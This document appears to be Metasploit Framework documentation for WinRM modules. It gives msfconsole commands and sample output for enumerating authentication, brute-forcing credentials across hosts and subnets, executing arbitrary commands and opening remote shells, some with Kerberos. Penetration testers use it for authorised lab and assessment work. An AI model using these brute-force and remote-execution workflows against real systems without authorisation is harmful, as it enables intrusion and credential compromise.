rapid7/metasploit-framework

## WinRM Workflows

Windows Remote Management (WinRM), is a way for clients to remotely manage Windows computers. WinRM is built on top of the Simple Object Access Protocol (SOAP) over HTTP(S).

There are two main ports for WinRM:

- 5985/TCP - HTTP
- 5986/TCP - HTTPS

On older versions of Windows such as Windows 7/Windows Server 2008 the following ports were used:

- 80/TCP - HTTP
- 443/TCP - HTTPS

Important: Before running the chosen WinRM Metasploit module, first ensure that the `RPORT` and `SSL` values are configured correctly.
Either with the modern inline option support:

```
use scanner/winrm/winrm_auth_methods

run http://192.168.123.139:5985
run https://192.168.123.139:5986
```

Or by manually setting options:

```
use scanner/winrm/winrm_auth_methods
set RHOST 192.168.123.139
set RPORT 5985
set SSL false
run
```

Metasploit has support for multiple WinRM modules, including:

- Authentication enumeration
- Verifying/bruteforcing credentials
- Running commands and opening sessions

There are more modules than listed here, for the full list of modules run the `search` command within msfconsole:

```msf
msf6 > search winrm
```

### Lab Environment

The WinRM modules work against Windows instances which have WinRM installed and configured.

For a domain controller the `Allow remote server management through WinRM` policy will need be enabled.
It is only possible to use WinRM against accounts which are part of the `Remote Management Users` group.

WinRM over HTTPS requires the creation of a Server Authenticating Certificate, as well as enabling the transport mode:

```
winrm quickconfig -transport:https
```

### Authentication Enumeration

Enumerate WinRm authentication mechanisms:

```
use scanner/winrm/winrm_auth_methods
run http://192.168.123.139:5985
run https://192.168.123.139:5986
```

Example:

```msf
msf6 auxiliary(scanner/winrm/winrm_auth_methods) > run http://192.168.123.139:5985

[+] 192.168.123.139:5985: Negotiate protocol supported
[+] 192.168.123.139:5985: Kerberos protocol supported
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

### WinRM Bruteforce

Brute-force host with known user and password list:

```
use scanner/winrm/winrm_login
run https://known_user@192.168.222.1:5986 threads=50 pass_file=./wordlist.txt
```

Brute-force credentials:

```
use scanner/winrm/winrm_login
run http://192.168.123.139:5985 threads=50 user_file=./users.txt pass_file=./wordlist.txt
```

Brute-force credentials in a subnet:

```
use scanner/winrm/winrm_login
run cidr:/24:http://user:pass@192.168.222.0:5985 threads=50
run cidr:/24:http://user@192.168.222.0:5985 threads=50 pass_file=./wordlist.txt
```

### WinRM CMD

To execute arbitrary commands against a windows target:

```
use scanner/winrm/winrm_cmd
run http://user:pass@192.168.123.139:5985 cmd='whoami; ipconfig; systeminfo'
```

### WinRM Login Session

If you have valid credentials the `scanner/winrm/winrm_login` module will open a Metasploit session for you:

```
use scanner/winrm/winrm_login
run http://user:pass@192.168.123.139:5985
```

Example:

```msf
msf6 auxiliary(scanner/winrm/winrm_login) > run http://user:pass@192.168.123.139:5985

[!] No active DB -- Credential data will not be saved!
[+] 192.168.123.139:5985 - Login Successful: WORKSTATION\user:pass
[*] Command shell session 7 opened (192.168.123.1:58673 -> 192.168.123.139:5985 ) at 2022-04-23 02:36:34 +0100
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/winrm/winrm_login) > sessions -i -1
[*] Starting interaction with 7...

Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Users\user>
```

### Kerberos Authentication

Details on the Kerberos specific option names are documented in [[Kerberos Service Authentication|kerberos/service_authentication]]

Open a WinRM session:

```msf
msf6 > use auxiliary/scanner/winrm/winrm_login
msf6 auxiliary(scanner/winrm/winrm_login) > run rhost=192.168.123.13 username=Administrator password=p4$$w0rd winrm::auth=kerberos domaincontrollerrhost=192.168.123.13 winrm::rhostname=dc3.demo.local domain=demo.local

[+] 192.168.123.13:88 - Received a valid TGT-Response
[*] 192.168.123.13:5985   - TGT MIT Credential Cache ticket saved to /Users/user/.msf4/loot/20230118120604_default_192.168.123.13_mit.kerberos.cca_451736.bin
[+] 192.168.123.13:88 - Received a valid TGS-Response
[*] 192.168.123.13:5985   - TGS MIT Credential Cache ticket saved to /Users/user/.msf4/loot/20230118120604_default_192.168.123.13_mit.kerberos.cca_889546.bin
[+] 192.168.123.13:88 - Received a valid delegation TGS-Response
[+] 192.168.123.13:88 - Received AP-REQ. Extracting session key...
[+] 192.168.123.13:5985 - Login Successful: demo.local\Administrator:p4$$w0rd
[*] Command shell session 1 opened (192.168.123.1:50722 -> 192.168.123.13:5985) at 2023-01-18 12:06:05 +0000
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/winrm/winrm_login) > sessions -i -1
[*] Starting interaction with 1...

Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Users\Administrator>
```